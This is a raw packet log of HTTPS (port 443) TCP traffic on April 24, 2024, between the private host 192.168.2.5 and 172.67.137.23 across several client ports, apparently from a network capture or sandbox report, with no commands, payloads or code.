Apr 24, 2024 23:08:06.435118914 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.435204983 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.435691118 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.435707092 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.443173885 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.443351030 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.443411112 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.443432093 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.443922043 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.443998098 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.444051027 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.444057941 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.444116116 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.444539070 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.444920063 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.445019007 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.445070982 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.445075989 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.445122004 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.445125103 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.445760965 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.445816040 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.445820093 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.445910931 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.445966005 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.445970058 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.446656942 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.446757078 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.446759939 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.446785927 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.446841955 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.446873903 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.447585106 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.447638988 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.447644949 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.490091085 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.490257978 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.490330935 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.490331888 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.490395069 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.490447998 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.490993977 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.491282940 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.491348982 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.491365910 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.491473913 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.491646051 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.491658926 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.492347956 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.492407084 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.492419958 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.492506027 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.492558002 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.492571115 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.493087053 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.493143082 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.493155956 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.493254900 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.493314028 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.493325949 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.494234085 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.494309902 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.494317055 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.494360924 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.494441986 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.499082088 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.514564991 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.560004950 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.560065985 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.607180119 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.625822067 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.626112938 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.626138926 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.626167059 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.626176119 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.626219988 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.626595974 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.626684904 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.626750946 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.627074957 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.627084970 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.630517960 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.630585909 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.630666971 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.630837917 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.630868912 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.638247013 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.638469934 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.638525963 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.639005899 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.639389038 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.639488935 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.639501095 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.657212973 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.657407045 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.657428026 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.658099890 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.658440113 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.658541918 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.658549070 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.660855055 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.673350096 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.673542976 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.673768044 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.673779011 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.674021006 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.674093008 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.674101114 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.674588919 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.674638033 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.674645901 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.674654007 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.674686909 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.675553083 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.675563097 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.675604105 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.676476002 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.676534891 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.676549911 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.676701069 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.677444935 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.677525997 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.677640915 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.677704096 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.677716017 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.677740097 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.677802086 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.677922010 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.677943945 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.680119991 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.685735941 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.702544928 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.764555931 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.764853954 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.764899015 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.766463995 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.766546011 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.766892910 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.766976118 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.767062902 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.812115908 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.816818953 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.816855907 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.857767105 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.864902020 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.864940882 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.864972115 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.864998102 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.865022898 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.865050077 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.865087986 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.865101099 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.865358114 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.865499020 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.866094112 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.866107941 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.869712114 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.869752884 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.870002031 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.870253086 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.870268106 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.958859921 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.981420040 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.981484890 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.982446909 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.982672930 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.982995987 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.983062029 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.983247042 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.028117895 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.031718016 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.031738997 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.075716019 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.207909107 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.216059923 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.216074944 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.216406107 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.221920013 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.222116947 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.222187042 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.268136024 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.276303053 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.297049999 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.297400951 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.303733110 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.318558931 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.318721056 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.318819046 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.319006920 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.319060087 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.323311090 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.362090111 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.362173080 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.362586975 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.362612963 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.404979944 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405033112 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405122042 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405160904 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405201912 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405206919 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.405268908 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405299902 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.405560970 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405596018 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405611038 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.405623913 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.405661106 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.418699026 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.418730974 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.418812037 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.418840885 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.423722982 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.579148054 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.579452038 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.579484940 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.579525948 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.579580069 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.579854012 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.579870939 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.579951048 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.579977989 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.580151081 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.580164909 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.580425024 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.580723047 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.580879927 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.581003904 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.581008911 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.581022024 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.581573963 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.581665993 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.581825972 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.582082987 CEST	49793	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.582129002 CEST	443	49793	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630162954 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630224943 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630306005 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630338907 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630384922 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630415916 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630423069 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.630461931 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.630496979 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.631134033 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.631182909 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.631207943 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.631215096 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.631709099 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.642400026 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.699723005 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.699745893 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.745038033 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.812634945 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.812805891 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.812846899 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.812863111 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.813191891 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.813292027 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.813302994 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.813309908 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.813354015 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.813971996 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.814022064 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.814059973 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.814066887 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.814599991 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.814646006 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.814651012 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.814698935 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.814734936 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.814745903 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.815458059 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.815502882 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.815507889 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.815586090 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.815622091 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.815628052 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.816478968 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.816524982 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.816529989 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.816751003 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.816802025 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.816807985 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.869704008 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.869854927 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.869899035 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.869914055 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.870044947 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.870054007 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.870054007 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.870095015 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.870102882 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.870237112 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.870281935 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.870287895 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.870376110 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.870419979 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.870425940 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.883111954 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.883166075 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.883173943 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.916913033 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.932534933 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:07.932543039 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:07.979425907 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.011863947 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012430906 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012460947 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012480974 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.012499094 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012537003 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.012545109 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012840986 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012886047 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.012892008 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012928963 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.012972116 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.013262033 CEST	49794	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.013276100 CEST	443	49794	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.056011915 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.056235075 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.056288958 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.056303978 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.056729078 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.056780100 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.056787968 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.056936026 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.056988955 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.056996107 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.057593107 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.057646990 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.057655096 CEST	443	49795	172.67.137.23	192.168.2.5
